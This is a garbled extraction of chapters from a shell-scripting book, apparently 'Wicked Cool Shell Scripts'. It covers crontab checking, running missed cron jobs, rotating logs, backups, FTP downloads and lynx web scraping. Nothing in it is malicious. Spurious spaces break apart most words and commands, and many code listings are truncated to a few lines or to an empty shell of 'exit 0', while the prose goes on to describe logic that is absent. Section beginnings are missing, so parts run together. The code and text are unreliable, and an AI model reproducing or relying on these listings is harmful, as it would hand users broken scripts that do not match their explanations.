i f [ $ # -n e 1 ] | | [ ! -r $1 ] ; t h e n
e cho "Us ag e: $0 use rcro ntabf i le" > &2; e xi t 1
fi
w hi le r ead m in ho ur d om m on do w co m m and
do
l ine s ="$ (( $li ne s + 1))"
e rro r s=0
i f [ -z "$ min " -o " ${mi n%${m i n#? } } " = " #" ] ; th en
co n tin ue # not hing to c h eck
e lif [ ! - z $ (e cho ${mi n%${m i n#? } } | s e d 's /[ [ :d ig i t: ] ]/ /' ) ] ; t he n
co n tin ue # fir st c har n o t d i g it: s ki p!
fi
f ixv a rs
# Ho u r c he ck
f or h rsl ic e i n $(ec ho " $hour " | s e d ' s / [, -] / / g' ) ; d o
if ! v al idN um $hr slic e 24 ; th e n
e cho " Lin e ${li nes} : Inv a lid h our v al ue \ " $h rs l ic e \" "
e rro rs =1
fi
d one
# Da y of m ont h chec k
# Mo n th ch eck
# Da y of w eek c heck
i f [ $er ro rs -g t 0 ] ; then
ec h o " >> >> ${ line s}: $sour c eli n e "
ec h o " "
to t ale rr ors =" $(( $tot alerr o rs + 1 ) ) "
fi
d on e < $1
e xi t 0
How It Works
The greatest challenge in getting this script to work is sidestepping problems with the shell wanting to expand the field
value * . An asterisk is perfectly acceptable in a c r on entry, and indeed is quite common, but give one to a backtick
command and it'll expand to the files in the current directory definitely not a desired result. Rather than puzzle
through the combination of single and double quotes necessary to solve this problem, it proves quite a bit simpler to
replace each asterisk with an X, which is what the f ixv a r s function accomplishes.
Also worthy of note is the simple solution to processing comma-and dash-separated lists of values. The punctuation is
simply replaced with spaces, and each value is tested as if it were a stand-alone numeric value. That's what the $ ()
sequence does in the fo r loops:
$ (e cho "$d ow " | s ed ' s/[, -]/ / g ')
With this in the code, it's then simple to step through all numeric values, ensuring that each and every one is valid and
within the range for that specific cron tab field parameter.
The Results
Using a sample cro nt ab file that has two errors and lots of comments, the script produced these results:
$ v eri f ycr on sa mp le.c ront ab
L in e 1 0 : I nv ali d day of w eek v a lue " Mou "
> >> > 1 0 : 0 6 22 * * Mo u /h ome/A C eSy s t em/ b i n/ de l_ o ld _A C in v en to r ie s. p l
L in e 1 2 : I nv ali d minu te v alue " 99"
> >> > 1 2 : 9 9 22 * * 1- 3,6 /home / ACe S y ste m / bi n/ du m p_ cu s t_ p ar t_ n o. pl
The sample c ron ta b file with the two errors, along with all the shell scripts explored in this book, are available at the
official Wicked Cool Shell Scripts website, at ht t p :// w w w.i n tu i ti ve . co m /w ic k ed /
Yet many modern Unix and Linux users do shut down their systems at the end of the day and start it back up the
following morning. It's quite alien to Mac OS X users, for example, to leave their systems running overnight, let alone
over a weekend or holiday period.
This isn't a big deal with user cront ab entries, because those that don't run due to actual shutdown schedules can
be tweaked to ensure that they do eventually get invoked consistently. The problem arises when the daily, weekly, and
monthly system cro n jobs that are part of the underlying system are not run at the predefined times.
This script enables the administrator to invoke the daily, weekly, or monthly jobs directly from the command line, as
needed.
The Code
# !/ bin / sh
j ob ="$ ( awk " NR > 6 && /$1 / { f o r ( i = 7;i < = NF ;i ++ ) p ri n t \ $i } " $ ro o tc ro n )"
i f [ - z $j ob ] ; then
e cho "$0 : Err or : no $1 job f o und i n $ r o ot cr on " > &2
e xit 1
fi
e va l $ j ob
How It Works
Located in either /et c/ dai ly, / etc/ week l y , and / e tc/ m on t hl y or / e tc / cr on . da il y , / e tc /
c ro n.w e ekl y, and / et c/cr on.m onthl y , these c r o n jobs are set up completely differently from user
c ro nta b files: Each is a directory that contains a set of scripts, one per job, that are run by the c r on ta b facility, as
specified in the /e tc /cr on tab file. To make this even more confusing, the format of the /e tc / cr on t ab file is
different too, because it adds an additional field that indicates what effective user ID should run the job.
To start, then, the /et c/ cron tab file specifies the hour of the day (in the second column of the output that follows)
at which to run the daily, weekly, and monthly jobs:
$ e gre p '( da ily |w eekl y|mo nthly ) ' / e t c/c r o nt ab
# R un d ail y/ wee kl y/mo nthl y job s .
15 3 * * * r o ot p er io d ic da il y
30 4 * * 6 r o ot p er io d ic we ek l y
30 5 1 * * r o ot p er io d ic mo nt h ly
What happens to the daily, weekly, and monthly jobs, though, if this system isn't running at 3:15am every night, at
4:30am on Saturday morning, and at 5:30am on the first of each month?
Rather than trying to force c ro n to run the cr o n jobs, this script locates the jobs and runs them directly with ev al .
The only difference between invoking the jobs from this script and invoking them as part of a cr o n job is that when
jobs are run from cr on , their output stream is automatically turned into an email message, whereas with this script the
output stream is displayed on the screen.
The Results
This script has essentially no output and displays no results unless an error is encountered either within the script or
within one of the jobs spawned by the cron scripts.
One solution would be to create three empty timestamp files, one each for daily, weekly, and monthly jobs, and then to
add new entries to the /e tc/d aily , /e tc /w e e kly , and /e t c/ m on th l y directories that update the last-
modified date of each timestamp file with t ou ch . This would solve half the problem: do cr o n could then check to see
the last time the recurring c ro n job was run and quit if an insufficient amount of time had passed.
What this solution doesn't avoid is the situation in which, six weeks after the monthly cr o n job last ran, the admin
runs do c ron to invoke the monthly jobs. Then four days later someone forgets to shut off their computer and the
monthly cro n job is invoked. How can that job know that it's not necessary to run the monthly jobs after all?
Two scripts can be added to the appropriate directory. One script must run first from r u n- sc r ip t or p e ri od i c
(the standard ways to invoke cr on jobs) and can then turn off the executable bit on all other scripts in the directory
except its partner script, which turns the execute bit back on after ru n -s cr i pt or p er io d ic has scanned and
ascertained that there's nothing to do: None of the files in the directory appear to be executable, and therefore cr o n
doesn't run them. This is not a great solution, however, because there's no guarantee of script evaluation order, and if
we can't guarantee the order in which the new scripts will be run, the entire solution fails.
There might not be a complete solution to this dilemma, actually. Or it might involve writing a wrapper for r u n-
s cr ipt or p eri od ic that would know how to manage timestamps to ensure that jobs weren't executed too
frequently.
#55 Rotating Log Files
Users who don't have much experience with Unix can be quite surprised by how many commands, utilities, and
daemons log events to system log files. Even on a computer with lots of disk space, it's important to keep an eye on
the size of these files and, of course, on their contents too.
As a result, most sysadmins have a set of instructions that they place at the top of their log file analysis utilities, similar
to the following:
m v $lo g .2 $l og. 3
m v $lo g .1 $l og. 2
m v $lo g $l og .1
t ou ch $ log
If run weekly, this would produce a rolling one-month archive of log file information divided into week-size portions of
data. However, it's just as easy to create a script that accomplishes this for all log files in the /v ar / lo g directory at
once, thereby relieving any log file analysis scripts of the burden.
The script steps through each file in the /v ar /l o g directory that matches a particular set of criteria, checking each
matching file's rotation schedule and last-modified date to see if it's time for it to be rotated.
The Code
# !/ bin / sh
# r ota t elo gs - Ro lls logf iles i n / v a r/l o g f or a r ch iv a l p ur po s es .
# U s es a con fi g fi le t o all o w c u s tom i z at io n o f ho w f r eq ue n tl y
# e a ch lo g s ho uld be r olled . Th e con f i g fi le is i n
# lo gf ile na me=d urat ion
# f o rma t, wh er e du rati on is in d a ys. I f, i n t he c o nf i g
# f i le, a n e nt ry i s mi ssing for a pa r t ic ul ar lo gf i le n am e,
# r o tat el ogs w on't rot ate t h e f i l e m o r e fr eq u en tl y t h an e v er y s ev en da ys .
i f [ ! -f $c onf ig ] ; the n
e cho "$0 : no co nfig fil e fou n d. C a n't p ro ce ed . " >& 2 ; e xi t 1
fi
i f [ ! -w $l ogd ir -o ! -x $log d ir ] ; t h e n
e cho "$0 : you d on't hav e the app r o pri a t e pe rm i ss io n s i n $l o gd ir " > &2
e xit 1
fi
c d $lo g dir
d ura t ion =" $(g re p "^ ${na me}=" $co n f ig| c u t -d = - f2 )"
i f [ -z $d ura ti on ] ; t hen
du r ati on =$d ef ault _dur ation
e lif [ " $d ura ti on" = "0 " ] ; the n
ec h o " Du rat io n se t to zero : sk i p pin g $n am e"
co n tin ue
fi
To truly be useful, the script needs to work with a configuration file that lives in / va r /l og , which allows different log
files to be set to different rotation schedules. The contents of a typical configuration file are as follows:
# C onf i gur at ion f ile for the l o g r o t ati o n s cr ip t .
# F orm a t i s na me=d urat ion wh e r e ' n a me ' ca n b e a ny
# f ile n ame t hat a ppea rs i n the /va r / log d ir ec to r y. D u ra t io n
# i s m e asu re d i n days .
f tp .lo g =30
l as tlo g =14
l oo kup d .lo g= 7
l pr .lo g =30
m ai l.l o g=7
n et inf o .lo g= 7
s ec ure . log =7
s ta tis t ics =7
s ys tem . log =1 4
# A nyt h ing w ith a dur atio n of z ero i s n o t r ot at e d
w tm p=0
How It Works
The heart of this script is the fi nd statement:
f or na m e i n $(f in d . -typ e f - s ize + 0c ! -n am e ' *[ 0- 9 ]* ' \
! -na me '\ .* ' ! -nam e '*c o nf' - max d e pt h 1 - pr in t | se d ' s/ ^\ . \/ // ' )
This creates a loop, returning all files in the / v ar/ l o g directory that are greater than 0 characters in size, don't
contain a number in their name, don't start with a period (Mac OS X in particular dumps a lot of oddly named log files
in this directory; they all need to be skipped), and don't end with the word "conf" (we don't want to rotate out the
r ot ate l ogs .c onf file, for obvious reasons!). The ma x d ept h 1 ensures that fi n d doesn't step into
subdirectories. Finally, the se d invocation removes any leading ./ sequences.
Lazy is good! The rota telo g s script demonstrates a fundamental concept in shell script
programming: the value of avoiding duplicate work. Rather than have each log analysis
script rotate logs, a single log rotation script centralizes the task and makes modifications
easy.
The Results
$ s udo rot at elo gs
f tp .lo g 's mo st re cent bac kup i s mo r e re c e nt t ha n 3 0 d ay s : sk i pp in g
R ot ati n g l og la st log (usi ng a 1 4 d a y sc h e du le )
. .. la s tlo g -> la stlo g.1
l pr .lo g 's mo st re cent bac kup i s mo r e re c e nt t ha n 3 0 d ay s : sk i pp in g
Notice that of all the log files in /var /log , only three matched the specified fi n d criteria, and of those only one,
l as tlo g , hadn't been backed up sufficiently recently, according to the duration values in the configuration file shown
earlier.
Another useful enhancement to r otat elogs would be to compress all rotated logs to further save on disk space,
which would also require that the script recognize and work properly with compressed files as it proceeded.
#56 Managing Backups
Managing system backups is a task that all system administrators are familiar with, and it's something that no one
thanks you for doing unless something goes horribly wrong. Even on a single-user personal computer running Linux,
some sort of backup schedule is essential, and it's usually only after you've been burned once, losing a chunk of data
and files, that you realize the value of a regular backup.
One of the reasons so many systems neglect backups is that many of the backup tools are crude and difficult to
understand. The d ump and r estor e commands (called u fsd u mp and r e st o re in Solaris) are typical, with five
"dump levels" and an intimidating configuration file required.
A shell script can solve this problem. This script backs up a specified set of directories, either incrementally (that is,
only those files that have changed since the last backup) or full backup (all files). The backup is compressed on the fly
to minimize space usage, and the script output can be directed to a file, a tape device, a remotely mounted NFS
partition, or even a CD burner on compatible systems.
The Code
# !/ bin / sh
u sa geQ u it( )
{
c at < < " EO F" >& 2
U sa ge: $0 [- o o ut put] [-i |-f] [ -n]
- o l e ts yo u s pe cify an alter n ati v e ba c k up f il e /d ev i ce
- i i s an i ncr em enta l or -f i s a f u ll b a ck up , a nd - n p r ev en t s
u pda t ing t he ti mest amp if an inc r e men t a l ba ck u p is do n e.
E OF
exi t 1
}
s hi ft $ (($ OP TIN D - 1) )
How It Works
For a full system backup, the pax command does all the work, piping its output to a compression program (b z ip 2 by
default) and then to an output file or device. An incremental backup is a bit more tricky because the standard version of
t ar doesn't include any sort of modification time test, unlike the GNU version of t a r. The list of files modified since
the previous backup is built with fi nd and saved in the inc l i st temporary file. That file, emulating the t ar output
format for increased portability, is then fed to p a x directly.
Choosing when to mark the timestamp for a backup is an area in which many backup programs get messed up,
typically marking the "last backup time" when the program has finished the backup, rather than when it started. Setting
the timestamp to the time of backup completion can be a problem if any files are modified during the backup process
(which can take quite a while if the backup is being fed to a tape device). Because files modified under this scenario
would have a last-modified date older than the timestamp date, they would not be backed up the next night.
However, timestamping before the backup takes place is wrong too, because if the backup fails, there's no way to
reverse the updated timestamp. Both of these problems are avoided by saving the date and time before the backup
starts (in the ti mes ta mp variable), but applying the value of $ ti me st a mp to $ ts fi l e using the -t flag to
t ou ch only after the backup has succeeded.
The Results
$ b ack u p
D oi ng i ncr em ent al bac kup, savi n g o u t put t o /t mp / ba ck u p. 1 40 70 3 .b z2
As you would expect, the output of a backup program isn't very scintillating. But the resulting compressed file is
sufficiently large that it shows plenty of data is within:
$ l s - l /t mp /ba ck up*
- rw -r- - r-- 1 t ay lor whe el 6 1 739 0 0 8 J u l 1 4 07 : 31 b a ck u p. 14 0 70 3. b z2
#57 Backing Up Directories
Related to the task of backing up entire file systems is the user-centric task of taking a snapshot of a specific directory
or directory tree. This simple script allows users to easily create a compressed t a r archive of a specified directory.
The Code
# !/ bin / sh
i f [ $ # -e q 0 ] ; the n
e cho "Us ag e: $p rogn ame direc t ory " >&2 ; ex it 1
fi
i f [ ! -d $1 ] ; then
e cho "${ pr ogn am e}: can' t fin d di r e cto r y $ 1 to ar ch i ve . " >& 2 ; ex i t 1
fi
i f [ ! -w . ] ; t hen
e cho "${ pr ogn am e}: cann ot wr i te a r chi v e f il e t o cu r re n t di r ec to r y. " > &2
e xit 1
fi
e xi t 0
How It Works
This script is almost all error-checking code, to ensure that it never causes a loss of data or creates an incorrect
snapshot. In addition to the typical tests to validate the presence and appropriateness of the starting argument, this
script also forces the user to be in the parent directory of the subdirectory to be compressed and archived, which
ensures that the archive file is saved in the proper place upon completion. The conditional i f [ ! - w . ] ;
t he n verifies that the user has write permission on the current directory. And this script even warns users before
archiving if the resultant backup file would be unusually large.
The return code of this command is tested to ensure that the script never deletes the directory if an error of any sort
occurs.
The Results
$ a rch i ved ir sc ri pts
W ar nin g : d ir ect or y sc ript s is 2 224 b loc k s . Pr oc e ed ? [ n] n
a rc hiv e dir : arc hi ve o f di recto r y s c r ipt s ca nc el e d.
This seemed as though it might be a big archive, so I hesitated to create it, but thinking about it, there's no reason not
to proceed after all:
$ a rch i ved ir sc ri pts
W ar nin g : d ir ect or y sc ript s is 2 224 b loc k s . Pr oc e ed ? [ n] y
D ir ect o ry sc rip ts arc hive d as s cri p t s.t g z
The results:
$ l s - l sc ri pts .t gz
- rw -r- - r-- 1 t ay lor sta ff 3 2 564 8 Jul 1 4 08 :0 1 s cr i pt s .t gz
Overview
One area where Unix really shines is the Internet. Whether it's running a fast server from under your desk or simply
surfing the Web intelligently and efficiently, there's precious little you can't embed in a shell script when it comes to
Internet interaction.
Internet tools are scriptable, even though you might never have thought of them that way. For example, ft p , a
program that is perpetually trapped in debug mode, can be scripted in some very interesting ways, as is explored in
Script #59. It's not universally true, but shell scripting can improve the performance and output of most command-line
utilities that work with some facet of the Internet.
Perhaps the best tool in the Internet scripter's toolbox is l ynx , a powerful text-only web-browsing tool. Sites don't look
glamorous when you strip out all the graphics, but l y nx has the ability to grab website content and dump it to
standard output, making it a breeze to use gr ep and s e d to extract specific snippets of information from any website,
be it Yahoo!, the Federal Reserve, or even the ESPN.com home page.
Figure 7-1 shows how my own website (http : / /ww w . int u i ti ve .c o m/ ) looks in the spartan l yn x browser:
An alternative browser that's, well, synonymous with l ynx is lin k s, offering a similar text-only browsing
environment that has rich possibilities for use in shell scripting. Of the two, ly n x is more stable and more widely
distributed.
If you don't have either browser available, you'll need to download and install one or the other before you proceed with
the scripts in this chapter. You can get lynx from h t t p:/ / l yn x. br o ws er . or g / and li nk s from
h tt p:/ / lin ks .br ow ser. org/ . The scripts in this chapter use ly nx , but if you have a preference for l in ks ,
it is sufficiently similar that you can easily switch the scripts to use it without much effort.
Caution One limitation to the website scraper scripts in this chapter is that if the website that a script depends on
changes its layout, the script can end up broken until you go back and ascertain what's changed with the
site. If any of the website layouts have changed since November 2003, when this chapter was
completed, you'll need to be comfortable reading HTML (even if you don't understand it all) to fix these
scripts. The problem of tracking other sites is exactly why the Extensible Markup Language (XML) was
created: It allows site developers to provide the content of a web page separately from the rules for its
layout.
#58 Calculating Time Spent Online
While every ISP offers relatively expensive unlimited-use dial-up accounts, you might not realize that many ISPs also
have very low-cost monthly dial-up accounts if your usage stays below a certain number of hours of connect time in a
given month. The problem is, how do you calculate your total connection time on a Unix system? Let's have a look. . . .
The Code
# !/ bin / sh
e xi t 0
How It Works
On most Unixes, the system log file contains log entries from the PPP (Point-to-Point Protocol) daemon. Here's an
example of a log snippet from a Mac OS X system, looking at /va r /l o g/ sy s te m .l og :
$ g rep ppp d /va r/ log/ syst em.lo g
J ul 12 10: 10 :57 l ocal host pppd [ 169 ] : Co n n ec ti on te rm i na t ed .
J ul 12 10: 10 :57 l ocal host pppd [ 169 ] : Co n n ec t ti m e 2. 1 m i nu te s .
J ul 12 10: 10 :57 l ocal host pppd [ 169 ] : Se n t 1 50 09 by te s , r ec ei v ed 3 8 78 11 by te s .
J ul 12 10: 11 :11 l ocal host pppd [ 169 ] : Se r i al l in k d is c on n ec te d .
J ul 12 10: 11 :12 l ocal host pppd [ 169 ] : Ex i t .
There are a number of interesting statistics in this snippet, most importantly the actual connect time. Slice those
connect time strings out of the log file, add them up, and you've got your cumulative connect time for the month. This
script is smart enough to calculate month-by-month totals even if you don't rotate your logs (though you should; see
Script #55, Rotating Log Files, for details on how to accomplish this quite easily).
This script is essentially just a big a wk program that checks month values in the sy s te m. l og entries to know how
to aggregate connect time. When $ 1, the month field in the log file output, is different from l as t mo nt h , and
l as tmo n th isn't the empty string (which it is when the script begins analyzing the log file), the script outputs the
accumulated time for the previous month and resets the accumulator, su m , to zero:
i f ( $1 != la st mont h && last m ont h != " " ) {
if (su m > 6 0) { t otal = su m /60 " ho u r s" }
el s e { t otal = su m " m i nut e s " }
pr i nt la stm on th " : " total
su m =0
}
The rest of the program should be straightforward reading. Indeed, aw k programs can be quite clear and readable,
which is one reason I like using awk for this type of task.
Handy savings tip The dial-up account I use with Earthlink has five hours per month prepaid, so this
utility helps ensure that I know when I exceed that and am going to be charged by
the hour for additional connect time. It's quite helpful for minimizing those monthly
dial-up bills!
The Results
You can tell I don't rotate my log files on my laptop too often:
$ c onn e ctt im e
A pr : 4 . 065 h our s
J un : 2 6 .71 h our s
J ul : 1 . 963 33 ho ur s
A ug : 1 5 .08 5 hou rs
#59 Downloading Files via FTP
One of the original killer apps of the Internet was file transfer, and the king of file transfer programs is f tp , the File
Transfer Protocol. At some fundamental level, all Internet interaction is based upon file transfer, whether it's a web
browser requesting an HTML document and its accompanying graphic files, a chat server relaying lines of discussion
back and forth, or an email message traveling from one end of the earth to the other.
The original f tp program still lingers on, and while its interface is quite crude, it's powerful, capable, and well worth
taking advantage of with some good scripts. There are plenty of newer f tp programs around, notably nc f tp (see
http://www.ncftp.org/), but with some shell script wrappers, f t p does just fine for uploading and downloading files.
For example, a typical use for ft p is to download files from the Internet. Quite often, the files will be located on
anonymous FTP servers and will have URLs similar to f t p:/ / s om es er v er / pa th / fi le n am e. A perfect use for
a scripted ftp .
The Code
# !/ bin / sh
i f [ $ # -n e 1 ] ; the n
e cho "Us ag e: $0 ftp ://. .." > & 2
e xit 1
fi
f tp -n << EO F
o pe n $ s erv er
u se r f t p $ an onp as s
g et $f i len am e $ ba sefi le
q ui t
E OF
i f [ $ ? -e q 0 ] ; the n
l s - l $b as efi le
fi
e xi t 0
How It Works
The heart of this script is the sequence of commands fed to the f tp program:
f tp -n << EO F
o pe n $ s erv er
u se r f t p $ an onp as s
g et $f i len am e $ ba sefi le
q ui t
E OF
This script illustrates the essence of a batch file: It prepares a sequence of instructions that it then feeds to a separate
program, in this case ftp . Here we specify the server connection to open, specify the anonymous user (ft p) and
whatever default password is specified in the script configuration (typically your email address), and then get the
specified file from the FTP site and quit the transfer.
The Results
$ f tpg e t f tp :// ft p.nc ftp. com/n c ftp / n cft p - 3. 1. 5- s rc .t a r. b z2
f tp get : Do wn loa di ng n cftp -3.1. 5 -sr c . tar . b z2 f ro m s er v er ft p. n cf tp . co m
- rw -rw - r-- 1 t aylo r taylo r 394 7 7 7 Ja n 6 08 : 26 nc ft p -3 .1 . 5- sr c .t ar . bz 2
Some versions of f tp are more verbose than others, and because it's not too uncommon to find a slight mismatch in
the client and server protocol, those verbose versions of ftp can spit out scary-sounding but safely ignored errors, like
Unimplemented command. For example, here's the same script run within Mac OS X:
$ f tpg e t f tp :// ft p.nc ftp. com/n c ftp / n cft p - 3. 1. 5- s rc .t a r. b z2
0 55 -ft p get .s h: Do wnlo adin g ncf t p-3 . 1 .5- s r c. ta r. b z2 f r om se rv e r ft p .n cf t p. co m
C on nec t ed to nc ft p.co m.
2 20 nc f tpd .c om Nc FTPd Ser ver ( l ice n s ed c o py ) re a dy .
3 31 Gu e st lo gin o k, s end your c omp l e te e - ma il a d dr es s a s p as s wo rd .
2 30 -Yo u ar e use r #10 of 1 6 sim u lta n e ous u se rs a l lo we d .
2 30 -
2 30 Lo g ged i n a no nymo usly .
R em ote sys te m t yp e is UNI X.
U si ng b ina ry mo de to tran sfer f ile s .
l oc al: ncf tp -3. 1. 5-sr c.ta r.bz2 rem o t e: n c ft p/ nc f tp -3 . 1. 5 -s rc . ta r. b z2
5 02 Un i mpl em ent ed com mand .
2 27 En t eri ng Pa ss ive Mode (209 , 197 , 1 02, 3 8 ,2 12 ,2 1 8)
1 50 Da t a c on nec ti on a ccep ted f r om 1 2 .25 3 . 11 2. 10 2 :4 92 3 6; tr an s fe r s ta rt i ng f o r
n cf tp- 3 .1. 5- src .t ar.b z2 ( 39477 7 by t e s).
1 00 % | * *** ** *** ** **** **** ***** * *** * * *** * * ** ** ** * ** ** * | 3 85 KB 2 66 .1 4 K B/ s
0 0: 00 E TA
2 26 Tr a nsf er co mp lete d.
3 94 777 byt es re ce ived in 00:01 (26 2 . 39 K B /s )
2 21 Go o dby e.
- rw -r- - r-- 1 t ay lor sta ff 3 9 477 7 Oct 1 3 20 :3 2 n cf t p- 3 .1 .5 - sr c. t ar .b z 2
If your f tp is excessively verbose, you can quiet it down by adding a -V flag to the f tp invocation (that is, instead of
f tp -n, use ft p -nV).
An alternative to ftpget Worth noting is that there's a popular utility called cu r l that
performs the same task as f t pg et . If you have c ur l available, it's
a superior alternative to this script, but because we're going to build
upon the ideas embodied in f t pg e t for more sophisticated f tp
interactions later in this book, you'll benefit from studying the code
here.
You can also tweak this script just a bit and end up with a simple tool for uploading a specified file to an FTP server. If
the server supports anonymous connections (few do nowadays, thanks to skript kiddies and other delinquents, but that's
another story), all you really have to do is specify a destination directory on the command line (or in the script) and
change the g et to a p ut in the main script:
f tp -n << EO F
o pe n $ s erv er
u se r f t p $ an onp as s
c d $de s tdi r
p ut $f i len am e
q ui t
E OF
To work with a password-protected account, you could hard-code your password into the script a very bad idea or
you could have the script prompt for the password interactively. To do that, turn off echoing before a re ad statement,
and then turn it back on when you're done:
e ch o - n "P as swo rd for ${u ser}: "
s tt y - e cho
r ea d p a ssw or d
s tt y e c ho
e ch o " "
A smarter way to prompt for a password, however, is to just let the ft p program do the work itself, as demonstrated in
Script #81, Synchronizing Directories with FTP.
#60 Tracking BBC News with lynx
As I mentioned earlier, one of the unsung heroes of the command-line Internet is unquestionably the ly n x web
browser (or its newer sibling lin ks). Although you can use it to surf the Web if you dislike graphics, its real power is
accessed on the command line itself, within a shell script.
The -d u mp flag, for example, produces the text but not the HTML source, as shown in the following when checking the
BBC World Service website, tracking technology news:
$ u rl= h ttp :/ /ne ws .bbc .co. uk/2/ l ow/ t e chn o l og y/ de f au lt . st m
$ l ynx -du mp $u rl | h ead
This output is not very interesting, but it's easily fed to g rep or any other command-line utility, because it's just a text
stream at this juncture. Now we can easily check a website to see if there are any stories about a favorite news topic,
computer company, or group of people. Let's see if there's any news about games, with a one-line context shown
around each match, by using grep:
$ l ynx -du mp $u rl | g rep -C1 - i ga m e s
--
lin e -up
Man y of t he Ni nten do g ames f or t h e C h r is tm as ru n- u p r et ur n t o f am il i ar
cha r act er s a nd bra nd n ames.
--
Vir t ual p ets f ed b y ph otos a nd p r onu n c ia ti on pu zz l es ar e j us t s om e o f
the mob il e p ho ne g ames popu l ar i n Ja p a n.
The numbers in brackets are URL references listed later in the output, so to identify the [ 3 7] link, the page needs to
be requested again, this time having g rep find the associated link URL:
$ l ynx -du mp $u rl | g rep '37\. '
3 7. h ttp :/ /ne ws .bbc .co. uk/2/ l ow/ t e chn o l og y/ 31 8 26 41 . st m
Switch to -sou rc e rather than -dum p, and the output of l ynx becomes considerably more interesting.
$ l ynx -so ur ce $u rl | gre p -i ' Pub l i cat i o nD at e'
< me ta n ame =" Ori gi nalP ubli catio n Dat e " co n t en t= "2 0 03 /0 8 /2 9 1 5: 0 1: 14 " / >
The -s o urc e flag produces the HTML source of the page specified. Pipe that source into a g re p or two, and you
can extract just about any information from a page, even information within a tag or comment. The b bc n ew s script
that follows lets you easily scrape the top technology stories from the Beeb at any time.
The Code
# !/ bin / sh
l yn x - s our ce $u rl | \
s ed - n ' /L ast U pdat ed:/ ,/new s sea r c h.b b c .c o. uk / p' | \
s ed ' s/< /\
< /g ;s/ > />\
/ g' | \
g rep -v -E '( <| >)' | \
f mt | \
u niq
How It Works
Although this is a short script, it is rather densely packed. These scraper scripts are best built iteratively, looking for
patterns to filter in the structure of the web page information and then tuned line by line to produce just the output
desired.
On the BBC website, this process is surprisingly easy because we're already looking at the low-bandwidth version of
the site. The first task is to discard any HTML associated with the navigational menus, bottom material, and so forth, so
that we just have the core content of the page, the stories themselves. That's what the first s e d does it reduces the
data stream by preserving only the headline and body of the new stories between the "Last Updated" string at the top
of the page and the n ews se arch .bbc .co. u k /p search box at the bottom of the page.
The next invocation of sed is uglier than the first, simply because it's doing something peculiar:
s ed ' s/< /\
< /g ;s/ > />\
/ g'
Every time it finds an open angle bracket (< ), it's replacing it with a carriage return followed by an open angle bracket.
Close angle brackets (> ) are replaced by a close angle bracket followed by a carriage return. If s ed supported an \n
notation to specify carriage returns, the second s e d invocation would not need to be written across three lines and
would read much more easily, as follows:
s ed 's / </\ n< /g; s/ >/>\ n/g'
Once the added carriage returns put all the HTML tags on their own lines, the second invocation of gr ep strips out all
the tags (-v inverts the logic of the g rep, showing all lines that do not match the pattern, and the - E flag specifies
that the argument is a complex regular expression), and the result is fed to f m t to wrap the resultant text lines better.
Finally, the u niq command is used to ensure that there aren't multiple blank lines in the output: It removes all
nonunique lines from the data stream.
The Results
Here's the top technology news at the end of August 2003:
$ b bcn e ws | hea d -20
L as t U p dat ed : Fr iday , 29 Augu s t, 2 0 03, 1 5: 01 G M T 16 : 01 UK
B riton s ' l o v e a f f ai r wi t h ga m es
B ritai n is t urn i n g in to a na t io n o f k ee n
g amers , re s e arc h by t he UK g a me s i nd u st ry
t rade b ody s ugg e s ts .
F amili a r f a c es i n N in te n do 's li n e- up
M any o f th e Nin t e nd o ga m es f o r t he C h ri st m as
r un-up ret u r n t o fa mi li a r ch a ra c te rs an d
b rand n ame s .
Don't send it to a list, though; there are some copyright and intellectual property issues to consider if you begin
republishing Internet content owned by other people. There's a fine line between fair use and violation of copyright, so
be thoughtful about what you do with content from another website.
#61 Extracting URLs from a Web Page
A straightforward shell script application of l y n x is to extract a list of URLs on a given web page, which can be quite
helpful in a variety of situations.
The Code
# ! / b in /s h
i f [ $ # -gt 1 ] ; the n
c a se " $1" in
-d ) las t cmd= " cut - d/ - f3 | s o r t | u n i q "
shi f t
;;
-i ) bas e doma i n="h t tp:/ /$( e c h o $ 2 | c u t - d / - f 3 ) / "
las t cmd= " grep \"^$ bas e d o m a i n \ " | s e d \ " s | $ b a s e d o m a i n | | g \ " | s o r t | u n i q "
shi f t
;;
-x ) bas e doma i n="h t tp:/ /$( e c h o $ 2 | c u t - d / - f 3 ) / "
las t cmd= " grep -v \ "^$ b a s e d o m a i n \ " | s o r t | u n i q "
shi f t
;;
* ) ech o "$0 : unk n own opt i o n s p e c i f i e d : $ 1 " > & 2 ; e x i t 1
e s ac
else
l a st cm d=" s ort | uni q "
fi
l y n x - du mp " $1" | \
s e d -n '/ ^ Refe r ence s $/,$ p' | \
g r ep - E ' [ [:di g it:] ] +\.' | \
a w k '{ pri n t $2 } ' | \
c u t -d \? - f1 | \
e v al $ las t cmd
exit 0
How It Works
When displaying a page, l ynx shows the text of the page, formatted as best it can, followed by a list of all hypertext
references, or links, found on that page. This script simply extracts just the links by using a s e d invocation to print
everything after the "References" string in the web page text, and then processes the list of links as needed based on
the user-specified flags.
The one interesting technique demonstrated by this script is the way the variable l a s t c m d is set to filter the list of
links that it extracts according to the flags specified by the user. Once l a s t c m d is set, the amazingly handy e v a l
command is used to force the shell to interpret the content of the variable as if it were a command, not a variable.
The Results
A simple request is a list of all links on a specified website home page:
$ g e tl in ks h ttp: / /www . triv ial . n e t /
h t t p :/ /w ww. i ntui t ive. c om/
h t t p :/ /w ww. t rivi a l.ne t /kud os/ i n d e x . h t m l
h t t p :/ /w ww. t rivi a l.ne t /tri via l . c g i
m a i l to :n erd s @tri v ial. n et
Another possibility is to request a list of all domain names referenced at a specific site. This time let's first use the
standard Unix tool wc to check how many links are found overall:
$ g e tl in ks h ttp: / /www . amaz on. c o m / | w c - l
1 36
Amazon has 136 links on its home page. Impressive! Now, how many different domains does that represent? Let's
generate a full list with the -d flag:
$ g e tl in ks - d ht t p:// w ww.a maz o n . c o m /
s 1 . a ma zo n.c o m
w w w . am az on. c om
As you can see, Amazon doesn't tend to point anywhere else. Other sites are different, of course. As an example,
here's a list of all external links in my weblog:
$ g e tl in ks - x ht t p:// w ww.i ntu i t i v e . c o m / b l o g /
L Y N X IM GM AP: h ttp: / /www . intu iti v e . c o m / b l o g / # h e a d e r m a p
h t t p :/ /b log a rama . com/ i n.ph p
h t t p :/ /b log d ex.m e dia. m it.e du/
h t t p :/ /b ook t alk. i ntui t ive. com /
h t t p :/ /c hri s .pir i llo. c om/
h t t p :/ /c ort a na.t y pepa d .com /rt a /
h t t p :/ /d yla n .twe n ey.c o m/
h t t p :/ /f x.c r ewta g s.co m /blo g/
h t t p :/ /g eou r l.or g /nea r /
h t t p :/ /h ost i ng.v e rio. c om/i nde x . p h p / v p s . h t m l
h t t p :/ /i maj e s.in f o/
h t t p :/ /j ake . iowa g eek. c om/
